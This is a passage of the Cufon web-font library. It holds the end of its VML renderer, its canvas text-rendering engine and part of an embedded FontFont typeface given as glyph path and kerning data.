				canvas.appendChild(cover);
			}

			vStyle = cover.style;

			vStyle.width = roundedShapeWidth;
			vStyle.height = roundedHeight;

		}
		else if (cover) canvas.removeChild(cover);

		wStyle.width = Math.max(Math.ceil(size.convert(width * stretchFactor)), 0);

		if (HAS_BROKEN_LINEHEIGHT) {

			var yAdjust = style.computedYAdjust;

			if (yAdjust === undefined) {
				var lineHeight = style.get('lineHeight');
				if (lineHeight == 'normal') lineHeight = '1em';
				else if (!isNaN(lineHeight)) lineHeight += 'em'; // no unit
				style.computedYAdjust = yAdjust = 0.5 * (getSizeInPixels(el, lineHeight) - parseFloat(wStyle.height));
			}

			if (yAdjust) {
				wStyle.marginTop = Math.ceil(yAdjust) + 'px';
				wStyle.marginBottom = yAdjust + 'px';
			}

		}

		return wrapper;

	};

})());

Cufon.registerEngine('canvas', (function() {

	// Safari 2 doesn't support .apply() on native methods

	var check = document.createElement('canvas');
	if (!check || !check.getContext || !check.getContext.apply) return;
	check = null;

	var HAS_INLINE_BLOCK = Cufon.CSS.supports('display', 'inline-block');

	// Firefox 2 w/ non-strict doctype (almost standards mode)
	var HAS_BROKEN_LINEHEIGHT = !HAS_INLINE_BLOCK && (document.compatMode == 'BackCompat' || /frameset|transitional/i.test(document.doctype.publicId));

	var styleSheet = document.createElement('style');
	styleSheet.type = 'text/css';
	styleSheet.appendChild(document.createTextNode((
		'cufon{text-indent:0;}' +
		'@media screen,projection{' +
			'cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;' +
			(HAS_BROKEN_LINEHEIGHT
				? ''
				: 'font-size:1px;line-height:1px;') +
			'}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;text-align:left;text-indent:-10000in;}' +
			(HAS_INLINE_BLOCK
				? 'cufon canvas{position:relative;}'
				: 'cufon canvas{position:absolute;}') +
			'cufonshy.cufon-shy-disabled,.cufon-viewport-resizing cufonshy{display:none;}' +
			'cufonglue{white-space:nowrap;display:inline-block;}' +
			'.cufon-viewport-resizing cufonglue{white-space:normal;}' +
		'}' +
		'@media print{' +
			'cufon{padding:0;}' + // Firefox 2
			'cufon canvas{display:none;}' +
		'}'
	).replace(/;/g, '!important;')));
	document.getElementsByTagName('head')[0].appendChild(styleSheet);

	function generateFromVML(path, context) {
		var atX = 0, atY = 0;
		var code = [], re = /([mrvxe])([^a-z]*)/g, match;
		generate: for (var i = 0; match = re.exec(path); ++i) {
			var c = match[2].split(',');
			switch (match[1]) {
				case 'v':
					code[i] = { m: 'bezierCurveTo', a: [ atX + ~~c[0], atY + ~~c[1], atX + ~~c[2], atY + ~~c[3], atX += ~~c[4], atY += ~~c[5] ] };
					break;
				case 'r':
					code[i] = { m: 'lineTo', a: [ atX += ~~c[0], atY += ~~c[1] ] };
					break;
				case 'm':
					code[i] = { m: 'moveTo', a: [ atX = ~~c[0], atY = ~~c[1] ] };
					break;
				case 'x':
					code[i] = { m: 'closePath' };
					break;
				case 'e':
					break generate;
			}
			context[code[i].m].apply(context, code[i].a);
		}
		return code;
	}

	function interpret(code, context) {
		for (var i = 0, l = code.length; i < l; ++i) {
			var line = code[i];
			context[line.m].apply(context, line.a);
		}
	}

	return function(font, text, style, options, node, el) {

		var redraw = (text === null);

		if (redraw) text = node.getAttribute('alt');

		var viewBox = font.viewBox;

		var size = style.getSize('fontSize', font.baseSize);

		var expandTop = 0, expandRight = 0, expandBottom = 0, expandLeft = 0;
		var shadows = options.textShadow, shadowOffsets = [];
		if (shadows) {
			for (var i = shadows.length; i--;) {
				var shadow = shadows[i];
				var x = size.convertFrom(parseFloat(shadow.offX));
				var y = size.convertFrom(parseFloat(shadow.offY));
				shadowOffsets[i] = [ x, y ];
				if (y < expandTop) expandTop = y;
				if (x > expandRight) expandRight = x;
				if (y > expandBottom) expandBottom = y;
				if (x < expandLeft) expandLeft = x;
			}
		}

		var chars = Cufon.CSS.textTransform(text, style).split('');

		var jumps = font.spacing(chars,
			~~size.convertFrom(parseFloat(style.get('letterSpacing')) || 0),
			~~size.convertFrom(parseFloat(style.get('wordSpacing')) || 0)
		);

		if (!jumps.length) return null; // there's nothing to render

		var width = jumps.total;

		expandRight += viewBox.width - jumps[jumps.length - 1];
		expandLeft += viewBox.minX;

		var wrapper, canvas;

		if (redraw) {
			wrapper = node;
			canvas = node.firstChild;
		}
		else {
			wrapper = document.createElement('cufon');
			wrapper.className = 'cufon cufon-canvas';
			wrapper.setAttribute('alt', text);

			canvas = document.createElement('canvas');
			wrapper.appendChild(canvas);

			if (options.printable) {
				var print = document.createElement('cufontext');
				print.appendChild(document.createTextNode(text));
				wrapper.appendChild(print);
			}
		}

		var wStyle = wrapper.style;
		var cStyle = canvas.style;

		var height = size.convert(viewBox.height);
		var roundedHeight = Math.ceil(height);
		var roundingFactor = roundedHeight / height;
		var stretchFactor = roundingFactor * Cufon.CSS.fontStretch(style.get('fontStretch'));
		var stretchedWidth = width * stretchFactor;

		var canvasWidth = Math.ceil(size.convert(stretchedWidth + expandRight - expandLeft));
		var canvasHeight = Math.ceil(size.convert(viewBox.height - expandTop + expandBottom));

		canvas.width = canvasWidth;
		canvas.height = canvasHeight;

		// needed for WebKit and full page zoom
		cStyle.width = canvasWidth + 'px';
		cStyle.height = canvasHeight + 'px';

		// minY has no part in canvas.height
		expandTop += viewBox.minY;

		cStyle.top = Math.round(size.convert(expandTop - font.ascent)) + 'px';
		cStyle.left = Math.round(size.convert(expandLeft)) + 'px';

		var wrapperWidth = Math.max(Math.ceil(size.convert(stretchedWidth)), 0) + 'px';

		if (HAS_INLINE_BLOCK) {
			wStyle.width = wrapperWidth;
			wStyle.height = size.convert(font.height) + 'px';
		}
		else {
			wStyle.paddingLeft = wrapperWidth;
			wStyle.paddingBottom = (size.convert(font.height) - 1) + 'px';
		}

		var g = canvas.getContext('2d'), scale = height / viewBox.height;
		var pixelRatio = window.devicePixelRatio || 1;
		if (pixelRatio != 1) {
			canvas.width = canvasWidth * pixelRatio;
			canvas.height = canvasHeight * pixelRatio;
			g.scale(pixelRatio, pixelRatio);
		}

		// proper horizontal scaling is performed later
		g.scale(scale, scale * roundingFactor);
		g.translate(-expandLeft, -expandTop);
		g.save();

		function renderText() {
			var glyphs = font.glyphs, glyph, i = -1, j = -1, chr;
			g.scale(stretchFactor, 1);
			while (chr = chars[++i]) {
				var glyph = glyphs[chars[i]] || font.missingGlyph;
				if (!glyph) continue;
				if (glyph.d) {
					g.beginPath();
					// the following moveTo is for Opera 9.2. if we don't
					// do this, it won't forget the previous path which
					// results in garbled text.
					g.moveTo(0, 0);
					if (glyph.code) interpret(glyph.code, g);
					else glyph.code = generateFromVML('m' + glyph.d, g);
					g.fill();
				}
				g.translate(jumps[++j], 0);
			}
			g.restore();
		}

		if (shadows) {
			for (var i = shadows.length; i--;) {
				var shadow = shadows[i];
				g.save();
				g.fillStyle = shadow.color;
				g.translate.apply(g, shadowOffsets[i]);
				renderText();
			}
		}

		var gradient = options.textGradient;
		if (gradient) {
			var stops = gradient.stops, fill = g.createLinearGradient(0, viewBox.minY, 0, viewBox.maxY);
			for (var i = 0, l = stops.length; i < l; ++i) {
				fill.addColorStop.apply(fill, stops[i]);
			}
			g.fillStyle = fill;
		}
		else g.fillStyle = style.get('color');

		renderText();

		return wrapper;

	};

})());


/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 *  Dutch Design: Albert-Jan Pool, 1995. Published by FontShop International
 * FontFont release 15
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"167,-632r-81,0r0,-81r81,0r0,81xm162,89v0,75,-39,132,-125,132r-52,0r0,-63v66,5,105,-7,105,-72r0,-575r72,0r0,578","w":253},{"d":"392,-602r-72,0r0,-89r72,0r0,89xm180,-602r-72,0r0,-89r72,0r0,89","w":500},{"d":"574,-356v0,151,-1,220,-67,288v-93,97,-271,97,-364,0v-66,-68,-67,-137,-67,-288v0,-151,1,-220,67,-288v93,-97,271,-97,364,0v66,68,67,137,67,288xm498,-356v0,-149,-6,-196,-50,-243v-62,-66,-184,-66,-246,0v-44,47,-50,94,-50,243v0,149,6,196,50,243v62,66,184,66,246,0v44,-47,50,-94,50,-243xm450,-934r-108,153r-66,0r88,-153r86,0","w":650,"k":{"\u00c6":8,"Y":10,"X":10,"W":10,"V":10,"T":20,"J":32,"A":10}},{"d":"782,-64r-47,0r0,64r-56,0r0,-64r-172,0r0,-53r151,-310r62,0r-151,310r110,0r0,-105r56,0r0,105r47,0r0,53xm619,-712r-334,712r-60,0r334,-712r60,0xm308,-405v0,82,-58,125,-129,125v-68,0,-128,-37,-131,-119r58,0v2,47,36,67,73,67v41,0,72,-27,72,-73v0,-48,-29,-76,-84,-73r0,-50v51,3,77,-24,77,-68v0,-45,-30,-68,-66,-68v-39,0,-64,24,-67,63r-57,0v4,-72,57,-115,124,-115v72,0,123,48,123,119v0,46,-20,76,-54,92v38,16,61,47,61,100","w":822},{"d":"451,-536v0,102,-84,167,-127,239v-18,31,-19,56,-18,97r-72,0v-2,-60,4,-95,31,-134r81,-117v67,-71,24,-203,-82,-203v-71,0,-116,56,-116,119r-72,0v0,-102,80,-183,188,-183v105,0,187,75,187,182xm313,0r-86,0r0,-84r86,0r0,84","w":497},{"d":"182,0r-94,0r0,-94r94,0r0,94","w":270},{"d":"470,-236r-418,0r0,-67r418,0r0,67"},{"d":"184,-707v74,-1,119,93,186,12r37,36v-45,45,-72,51,-95,51v-75,2,-119,-93,-186,-12r-37,-36v45,-45,70,-51,95,-51","w":500},{"d":"545,0r-442,0r0,-712r442,0r0,68r-366,0r0,251r312,0r0,68r-312,0r0,257r366,0r0,68xm438,-934r-108,153r-66,0r88,-153r86,0","w":600},{"d":"467,-227r-332,0v0,108,51,170,145,170v57,0,90,-17,129,-56r49,43v-50,50,-96,76,-180,76v-130,0,-215,-78,-215,-252v0,-159,77,-252,202,-252v137,-1,211,107,202,271xm395,-281v1,-96,-48,-156,-130,-156v-81,0,-132,62,-130,156r260,0xm427,-594r-69,0r-90,-104r-90,104r-69,0r125,-153r68,0","w":530,"k":{"y":10,"x":16,"w":5,"v":10}},{"d":"227,6v-112,0,-176,-47,-176,-145v0,-86,60,-142,170,-142r148,0v7,-101,-15,-156,-126,-155v-63,0,-95,15,-124,56r-49,-45v44,-57,94,-73,174,-73v132,0,197,57,197,164r0,334r-72,0r0,-47v-40,40,-76,53,-142,53xm234,-56v74,0,142,-26,135,-118r0,-53r-138,0v-74,0,-110,30,-110,87v0,57,35,84,113,84xm411,-594r-69,0r-90,-104r-90,104r-69,0r125,-153r68,0","w":526},{"d":"737,-64r-47,0r0,64r-56,0r0,-64r-172,0r0,-53r151,-310r62,0r-150,310r109,0r0,-105r56,0r0,105r47,0r0,53xm566,-712r-333,712r-60,0r333,-712r60,0xm183,-285r-57,0r0,-363r-83,73r0,-66r83,-71r57,0r0,427","w":777},{"d":"162,0r-72,0r0,-492r72,0r0,492","w":253},{"d":"196,-314v-89,0,-140,-38,-140,-115v0,-69,48,-114,135,-114r115,0v5,-78,-10,-121,-97,-120v-49,0,-74,11,-98,44r-41,-37v36,-46,77,-60,140,-60v105,0,155,47,155,132r0,265r-58,0r0,-36v-31,30,-60,41,-111,41xm201,-366v59,0,111,-18,105,-92r0,-40v-81,1,-191,-15,-191,67v0,44,26,65,86,65","w":449},{"d":"802,-356v0,200,-162,362,-362,362v-200,0,-362,-162,-362,-362v0,-200,162,-362,362,-362v200,0,362,162,362,362xm744,-356v0,-169,-136,-308,-304,-308v-168,0,-303,139,-303,308v0,169,135,308,303,308v168,0,304,-139,304,-308xm576,-205v-39,35,-75,52,-131,52v-116,0,-178,-86,-178,-203v0,-117,62,-204,178,-204v56,0,90,17,131,53r-36,36v-33,-29,-58,-39,-95,-39v-91,0,-122,70,-122,154v0,84,31,153,122,153v37,0,62,-9,95,-38","w":881},{"d":"265,-498v138,0,201,118,201,252v0,134,-62,252,-201,252v-138,0,-201,-118,-201,-252v0,-134,62,-252,201,-252xm394,-246v0,-55,-4,-115,-39,-152v-45,-47,-134,-47,-179,0v-35,37,-40,97,-40,152v0,55,5,115,40,152v45,47,134,47,179,0v35,-37,39,-97,39,-152xm390,-747r-108,153r-66,0r88,-153r86,0","w":530,"k":{"y":10,"x":16,"w":5,"v":10}},{"d":"532,-196v0,125,-98,202,-246,202v-107,0,-177,-27,-244,-94r52,-52v59,59,114,78,194,78v104,0,168,-49,168,-132v0,-81,-40,-114,-127,-123v-140,-15,-268,-50,-268,-200v0,-121,87,-201,228,-201v91,0,151,23,212,78r-49,49v-44,-40,-91,-61,-166,-61v-95,0,-150,53,-150,132v0,168,259,103,336,183v35,37,60,82,60,141","w":588,"k":{"Y":20,"S":16,"J":20}},{"d":"227,6v-112,0,-176,-47,-176,-145v0,-86,60,-142,170,-142r148,0v7,-101,-15,-156,-126,-155v-63,0,-95,15,-124,56r-49,-45v44,-57,94,-73,174,-73v132,0,197,57,197,164r0,334r-72,0r0,-47v-40,40,-76,53,-142,53xm234,-56v74,0,142,-26,135,-118r0,-53r-138,0v-74,0,-110,30,-110,87v0,57,35,84,113,84xm301,-594r-66,0r-108,-153r86,0","w":526},{"d":"671,0r-95,0r-64,-78v-29,27,-96,84,-210,84v-138,0,-225,-83,-225,-207v0,-107,76,-161,154,-213v-35,-42,-77,-91,-77,-155v0,-85,66,-149,157,-149v89,0,155,65,155,150v0,82,-76,125,-132,163r182,219v29,-44,39,-83,40,-163r72,0v-1,90,-20,163,-66,218xm395,-568v0,-48,-36,-85,-84,-85v-49,0,-82,35,-82,83v0,33,17,60,64,117v39,-29,102,-57,102,-115xm469,-130r-196,-236v-61,42,-122,82,-122,163v0,85,62,142,150,142v53,0,107,-14,168,-69","w":739},{"d":"599,0r-81,0r-57,-161r-311,0r-57,161r-81,0r262,-712r64,0xm439,-227r-132,-376r-134,376r266,0xm236,-894v74,-1,119,93,186,12r37,36v-45,45,-72,51,-95,51v-75,2,-119,-93,-186,-12r-37,-36v45,-45,70,-51,95,-51","w":611,"k":{"\u0152":8,"y":17,"v":17,"Y":35,"W":14,"V":35,"T":60,"Q":10,"O":10,"G":10,"C":10}},{"d":"265,-498v138,0,201,118,201,252v0,134,-62,252,-201,252v-138,0,-201,-118,-201,-252v0,-134,62,-252,201,-252xm394,-246v0,-55,-4,-115,-39,-152v-45,-47,-134,-47,-179,0v-35,37,-40,97,-40,152v0,55,5,115,40,152v45,47,134,47,179,0v35,-37,39,-97,39,-152xm424,-594r-69,0r-90,-104r-90,104r-69,0r125,-153r68,0","w":530,"k":{"y":10,"x":16,"w":5,"v":10}},{"d":"278,0v-112,12,-178,-36,-178,-131r0,-211r-63,39r0,-62r63,-39r0,-308r72,0r0,264r81,-50r0,62r-81,50r0,252v-5,64,39,77,106,72r0,62","w":315},{"d":"162,0r-72,0r0,-492r72,0r0,492xm374,-602r-72,0r0,-89r72,0r0,89xm162,-602r-72,0r0,-89r72,0r0,89","w":253},{"d":"262,6v-111,2,-177,-75,-177,-184r0,-314r72,0r0,303v0,87,46,131,120,131v74,0,123,-45,123,-131r0,-303r72,0r0,492r-71,0r0,-55v-35,40,-84,61,-139,61xm437,-594r-69,0r-90,-104r-90,104r-69,0r125,-153r68,0","w":563},{"d":"270,-408r-85,0r0,-84r85,0r0,84xm421,43v0,102,-79,183,-187,183v-105,0,-188,-76,-188,-183v0,-47,20,-82,46,-120r82,-118v20,-31,19,-56,18,-98r72,0v2,60,-4,96,-32,135r-81,116v-67,72,-23,203,83,203v71,0,115,-55,115,-118r72,0","w":497},{"d":"574,-356v0,128,-3,235,-83,289r83,0r0,67r-195,0r0,-64v103,-50,118,-102,118,-290v0,-149,-6,-199,-49,-245v-63,-66,-183,-67,-246,0v-43,46,-50,96,-50,245v0,188,15,239,119,290r0,64r-195,0r0,-67r82,0v-79,-55,-82,-160,-82,-289v0,-151,1,-220,67,-288v93,-97,271,-97,364,0v66,68,67,137,67,288","w":650},{"d":"588,-359v0,128,-90,209,-220,209r-189,0r0,150r-76,0r0,-712r76,0r0,143r189,0v130,0,220,82,220,210xm512,-359v0,-94,-62,-141,-151,-141r-182,0r0,282r182,0v89,0,151,-47,151,-141","w":642},{"d":"636,0r-90,0r-217,-379r-150,180r0,199r-76,0r0,-712r76,0r0,409r332,-409r93,0r-224,275","w":650,"k":{"\u00d2":10,"\u00d4":10,"\u00d3":10,"\u00d5":10,"\u00d6":10,"\u00c7":10,"\u0152":10,"y":31,"Q":10,"O":10,"J":-12,"G":10,"C":10}},{"d":"313,67r-59,149r-79,0r71,-149r67,0","w":500},{"d":"599,0r-81,0r-57,-161r-311,0r-57,161r-81,0r262,-712r64,0xm439,-227r-132,-376r-134,376r266,0xm444,-789r-72,0r0,-89r72,0r0,89xm232,-789r-72,0r0,-89r72,0r0,89","w":611,"k":{"\u0152":10,"y":17,"v":17,"Y":35,"W":14,"V":35,"T":60,"Q":10,"O":10,"G":10,"C":10}},{"d":"503,0r-89,0r-156,-252r-96,110r0,142r-72,0r0,-712r72,0r0,476r222,-256r90,0r-167,188","w":536,"k":{"\u00f5":20,"\u00f6":20,"\u00f4":20,"\u00f2":20,"\u00f3":20,"\u00eb":20,"\u00ea":20,"\u00e8":20,"\u00e9":20,"\u00e7":20,"\u0153":20,"\u00e6":20,"q":20,"o":20,"g":20,"e":20,"d":20,"c":20}},{"d":"445,-144v0,95,-81,150,-200,150v-83,0,-148,-19,-202,-71r48,-48v39,41,92,57,153,57v81,0,131,-29,131,-87v0,-73,-92,-74,-163,-79v-96,-7,-147,-51,-147,-132v0,-90,76,-144,181,-144v70,0,133,17,177,53r-47,47v-59,-56,-241,-59,-241,42v0,42,24,68,86,72v114,8,224,17,224,140","w":496,"k":{"v":10,"t":10,"s":16,"\u2019":48}},{"d":"470,-236r-418,0r0,-67r418,0r0,67"},{"d":"447,-747r-109,153r-65,0r89,-153r85,0xm284,-747r-108,153r-66,0r89,-153r85,0","w":500},{"d":"742,0r-246,0r0,-52r165,-202v42,-43,26,-125,-42,-125v-34,0,-65,18,-65,67r-58,0v0,-72,51,-119,123,-119v115,0,152,128,84,211r-137,168r176,0r0,52xm554,-712r-333,712r-60,0r333,-712r60,0xm183,-285r-57,0r0,-363r-83,73r0,-66r83,-71r57,0r0,427","w":790},{"d":"412,-552v0,-67,-48,-104,-125,-104v-89,0,-124,55,-124,135r0,521r-73,0r0,-524v0,-125,78,-195,201,-195v106,0,193,51,193,166v0,55,-23,93,-63,119v94,36,63,176,63,293v0,109,-76,153,-196,141r0,-62v76,6,125,-14,124,-87r0,-169v3,-71,-50,-89,-124,-83r0,-60v75,7,124,-21,124,-91","w":556},{"d":"457,-513v0,51,-15,100,-45,160r-175,353r-75,0r160,-320v-135,53,-260,-42,-260,-187v0,-121,76,-211,197,-211v121,0,198,82,198,205xm385,-510v0,-87,-50,-144,-126,-144v-76,0,-125,57,-125,144v0,79,43,144,125,144v76,0,126,-56,126,-144"},{"d":"175,0r-87,79r0,-163r87,0r0,84","w":263},{"d":"471,-648r-247,648r-76,0r247,-648r-248,0r0,112r-71,0r0,-176r395,0r0,64"},{"d":"202,-112v107,109,316,28,298,-140r0,-54r-175,0r0,-67r251,0r0,113v22,243,-281,347,-433,192v-67,-67,-67,-137,-67,-288v0,-151,0,-221,67,-288v48,-48,111,-74,182,-74v136,0,228,88,249,213r-76,0v-20,-141,-200,-191,-296,-94v-45,46,-50,94,-50,243v0,149,5,198,50,244","w":650,"k":{"\u00c1":10,"\u00c2":10,"\u00c3":10,"\u00c0":10,"\u00c5":10,"\u00c4":10,"\u00c6":10,"Y":10,"X":10,"W":10,"V":10,"T":20,"J":38,"A":10}},{"d":"460,-194v0,131,-93,201,-209,201v-112,0,-203,-59,-209,-188r72,0v6,89,69,124,137,124v77,0,137,-51,137,-138v1,-91,-50,-143,-155,-138r0,-63v96,5,143,-44,142,-129v0,-85,-55,-130,-124,-130v-75,0,-121,46,-128,119r-72,0v8,-115,92,-183,200,-183v116,0,196,77,196,193v0,75,-32,129,-96,158v72,27,109,85,109,174"},{"d":"227,6v-112,0,-176,-47,-176,-145v0,-86,60,-142,170,-142r148,0v7,-101,-15,-156,-126,-155v-63,0,-95,15,-124,56r-49,-45v44,-57,94,-73,174,-73v132,0,197,57,197,164r0,334r-72,0r0,-47v-40,40,-76,53,-142,53xm234,-56v74,0,142,-26,135,-118r0,-53r-138,0v-74,0,-110,30,-110,87v0,57,35,84,113,84xm377,-747r-108,153r-66,0r88,-153r86,0","w":526},{"d":"356,-786r-285,860r-71,0r285,-860r71,0","w":355},{"d":"409,-594r-69,0r-90,-104r-90,104r-69,0r125,-153r68,0","w":500},{"d":"599,0r-81,0r-57,-161r-311,0r-57,161r-81,0r262,-712r64,0xm439,-227r-132,-376r-134,376r266,0","w":611,"k":{"\u00d2":10,"\u00d4":10,"\u00d3":10,"\u00d5":10,"\u00d6":10,"\u00c7":10,"\u0152":10,"\u201d":80,"\u201c":80,"y":17,"v":17,"\u2018":80,"Y":35,"W":14,"V":35,"T":60,"Q":10,"O":10,"J":-12,"G":10,"C":10,"\u2019":80}},{"d":"602,-432r-96,0r-23,141r89,0r0,64r-99,0r-36,227r-74,0r36,-227r-160,0r-35,227r-74,0r36,-227r-89,0r0,-64r100,0r23,-141r-92,0r0,-66r101,0r34,-215r75,0r-35,215r159,0r34,-215r73,0r-34,215r87,0r0,66xm432,-432r-159,0r-23,141r159,0","w":653},{"d":"265,-498v138,0,201,118,201,252v0,134,-62,252,-201,252v-138,0,-201,-118,-201,-252v0,-134,62,-252,201,-252xm394,-246v0,-55,-4,-115,-39,-152v-45,-47,-134,-47,-179,0v-35,37,-40,97,-40,152v0,55,5,115,40,152v45,47,134,47,179,0v35,-37,39,-97,39,-152xm407,-602r-72,0r0,-89r72,0r0,89xm195,-602r-72,0r0,-89r72,0r0,89","w":530,"k":{"y":10,"x":16,"w":5,"v":10}},{"d":"611,-356v0,162,-6,197,-44,251v-43,60,-113,105,-211,105r-239,0r0,-330r-78,0r0,-59r78,0r0,-323r245,0v89,0,159,37,205,107v41,63,44,95,44,249xm535,-352v0,-134,-4,-172,-36,-221v-59,-90,-172,-70,-305,-72r0,256r161,0r0,59r-161,0r0,263v131,0,258,14,310,-74v27,-45,31,-73,31,-211","w":687},{"d":"506,-712r-157,311r100,0r0,54r-127,0r-26,53r0,52r153,0r0,55r-153,0r0,187r-77,0r0,-187r-154,0r0,-55r154,0r0,-52r-26,-53r-128,0r0,-54r100,0r-157,-311r82,0r168,341r167,-341r81,0","w":514},{"d":"499,-652v72,67,75,139,75,296v0,151,-1,220,-67,288v-74,76,-207,98,-308,42r-33,70r-65,0r50,-104v-72,-67,-75,-139,-75,-296v0,-151,1,-220,67,-288v74,-76,206,-98,307,-43r34,-69r65,0xm497,-356v0,-130,-3,-183,-34,-225r-234,490v67,46,166,34,219,-22v44,-47,49,-94,49,-243xm421,-621v-67,-46,-166,-34,-219,22v-44,47,-50,94,-50,243v0,130,4,183,35,225","w":652},{"d":"217,-466v-1,59,27,82,88,78r0,64v-60,-4,-88,19,-88,78r0,191v4,113,-57,133,-169,129r0,-64v73,1,97,-1,97,-78r0,-188v0,-57,25,-82,63,-100v-38,-18,-63,-43,-63,-100r0,-188v4,-77,-23,-79,-97,-78r0,-64v111,-4,169,17,169,129r0,191","w":354},{"d":"227,-716v110,0,160,95,160,201v0,107,-49,200,-160,200v-111,0,-160,-93,-160,-200v0,-106,50,-201,160,-201xm227,-368v73,2,101,-73,101,-147v0,-73,-26,-147,-101,-147v-27,0,-52,10,-70,28v-28,28,-30,76,-30,119v0,43,2,90,30,118v18,18,43,29,70,29","w":455},{"d":"183,-285r-57,0r0,-363r-83,73r0,-66r83,-71r57,0r0,427","w":261},{"d":"582,-352r-257,364r-258,-364r258,-364xm501,-352r-176,-253r-177,253r177,255","w":649},{"d":"590,-235v0,142,-105,241,-249,241v-144,0,-248,-99,-248,-241r0,-477r76,0r0,471v0,108,68,179,172,179v104,0,173,-71,173,-179r0,-471r76,0r0,477xm390,-781r-66,0r-108,-153r86,0","w":682},{"d":"401,-614r-302,0r0,-57r302,0r0,57","w":500},{"d":"582,-65r-46,46r-75,-74v-70,58,-193,58,-263,0r-74,74r-46,-46r74,-74v-57,-70,-58,-194,0,-264r-74,-73r46,-46r74,73v70,-56,194,-57,263,0r75,-73r46,46r-74,73v57,70,58,194,0,264xm485,-271v0,-86,-69,-155,-155,-155v-86,0,-156,69,-156,155v0,86,70,156,156,156v86,0,155,-70,155,-156","w":660},{"d":"552,0r-440,0r0,-289r-73,46r0,-67r73,-46r0,-356r77,0r0,308r154,-98r0,66r-154,98r0,270r363,0r0,68","w":582},{"d":"506,-712r-210,418r0,294r-76,0r0,-294r-212,-418r82,0r168,341r166,-341r82,0xm382,-934r-108,153r-66,0r88,-153r86,0","w":515},{"d":"614,-498v111,0,180,75,180,183r0,315r-72,0r0,-303v0,-87,-47,-131,-121,-131v-72,0,-123,45,-123,123r0,311r-72,0r0,-303v0,-87,-47,-131,-121,-131v-74,0,-123,45,-123,131r0,303r-72,0r0,-492r72,0r0,54v71,-87,241,-79,290,22v38,-54,93,-82,162,-82","w":879},{"d":"269,74r-177,0r0,-860r177,0r0,64r-105,0r0,732r105,0r0,64","w":313},{"d":"227,6v-112,0,-176,-47,-176,-145v0,-86,60,-142,170,-142r148,0v7,-101,-15,-156,-126,-155v-63,0,-95,15,-124,56r-49,-45v63,-106,300,-93,347,4v34,-50,87,-77,154,-77v137,-1,211,107,202,271r-333,0v0,108,52,170,146,170v57,0,89,-17,128,-56r50,43v-50,50,-98,76,-182,76v-77,0,-139,-27,-175,-85v-45,64,-95,85,-180,85xm701,-281v1,-96,-48,-156,-130,-156v-82,0,-132,63,-131,156r261,0xm234,-56v74,0,142,-26,135,-118r0,-53r-138,0v-74,0,-110,30,-110,87v0,57,35,84,113,84","w":835},{"d":"740,-267v0,90,-62,159,-158,159v-70,0,-119,-32,-178,-104v-59,72,-109,105,-177,105v-96,0,-160,-70,-160,-160v0,-90,64,-160,160,-160v66,0,118,34,177,106v59,-72,108,-106,178,-106v96,0,158,70,158,160xm671,-266v0,-56,-38,-93,-92,-93v-49,0,-84,37,-130,93v46,56,81,93,130,93v54,0,92,-37,92,-93xm358,-266v-46,-56,-80,-94,-129,-94v-54,0,-93,38,-93,94v0,56,39,93,93,93v49,0,83,-37,129,-93","w":808},{"d":"485,-151r-284,0r-103,111r-46,-40r67,-71r-67,0r0,-66r126,0r99,-103r-225,0r0,-67r284,0r104,-111r45,41r-67,70r67,0r0,67r-126,0r-98,103r224,0r0,66","w":537},{"d":"265,-498v138,0,201,118,201,252v0,134,-62,252,-201,252v-138,0,-201,-118,-201,-252v0,-134,62,-252,201,-252xm394,-246v0,-55,-4,-115,-39,-152v-45,-47,-134,-47,-179,0v-35,37,-40,97,-40,152v0,55,5,115,40,152v45,47,134,47,179,0v35,-37,39,-97,39,-152xm304,-594r-66,0r-108,-153r86,0","w":530,"k":{"y":10,"x":16,"w":5,"v":10}},{"d":"436,-492r-224,611v-22,69,-77,98,-162,92r0,-64v62,3,84,-9,103,-61r35,-96r-177,-482r78,0r135,395r134,-395r78,0xm365,-602r-72,0r0,-89r72,0r0,89xm153,-602r-72,0r0,-89r72,0r0,89","w":446},{"d":"209,-301r-94,0r0,-94r94,0r0,94xm205,65r-88,79r0,-232r88,0r0,153","w":297},{"d":"532,-644r-89,0r-211,644r-61,0r-163,-492r79,0r115,356r184,-576r146,0r0,68","w":562},{"d":"593,0r-76,0r0,-325r-338,0r0,325r-76,0r0,-712r76,0r0,319r338,0r0,-319r76,0r0,712","w":696},{"d":"301,-498v140,0,180,126,180,252v0,126,-40,252,-180,252v-54,0,-99,-13,-139,-64r0,278r-72,0r0,-932r72,0r0,277v40,-51,85,-63,139,-63xm409,-246v0,-96,-16,-188,-123,-188v-107,0,-124,92,-124,188v0,96,17,188,124,188v107,0,123,-92,123,-188","w":546},{"d":"470,-289r-175,0r0,177r-67,0r0,-177r-176,0r0,-67r176,0r0,-175r67,0r0,175r175,0r0,67xm470,0r-418,0r0,-67r418,0r0,67"},{"d":"471,-103r-67,0r0,-137r-353,0r0,-67r420,0r0,204"},{"d":"574,-356v0,151,-1,220,-67,288v-93,97,-271,97,-364,0v-66,-68,-67,-137,-67,-288v0,-151,1,-220,67,-288v93,-97,271,-97,364,0v66,68,67,137,67,288xm498,-356v0,-149,-6,-196,-50,-243v-62,-66,-184,-66,-246,0v-44,47,-50,94,-50,243v0,149,6,196,50,243v62,66,184,66,246,0v44,-47,50,-94,50,-243xm259,-894v74,-1,119,93,186,12r37,36v-45,45,-72,51,-95,51v-75,2,-119,-93,-186,-12r-37,-36v45,-45,70,-51,95,-51","w":650,"k":{"\u00c6":8,"Y":10,"X":10,"W":10,"V":10,"T":20,"J":32,"A":10}},{"d":"536,0r-88,0r-173,-299r-174,299r-86,0r218,-365r-204,-347r88,0r158,281r158,-281r88,0r-205,347","w":551,"k":{"\u00d2":10,"\u00d4":10,"\u00d3":10,"\u00d5":10,"\u00d6":10,"\u00c7":10,"\u0152":10,"y":19,"Q":10,"O":10,"J":-12,"G":10,"C":10}},{"d":"368,-687v0,65,-53,119,-118,119v-65,0,-118,-54,-118,-119v0,-65,53,-118,118,-118v65,0,118,52,118,118xm319,-687v0,-38,-31,-68,-69,-68v-38,0,-69,30,-69,68v0,38,31,69,69,69v38,0,69,-31,69,-69","w":500},{"d":"280,-471v133,0,182,123,182,236v0,71,-9,135,-57,189v-59,67,-227,67,-285,2v-30,-33,-46,-73,-50,-124r72,0v9,71,46,111,121,111v35,0,67,-12,88,-33v37,-37,39,-94,39,-145v0,-87,-17,-173,-120,-173v-62,0,-104,28,-118,70r-65,0r0,-374r360,0r0,64r-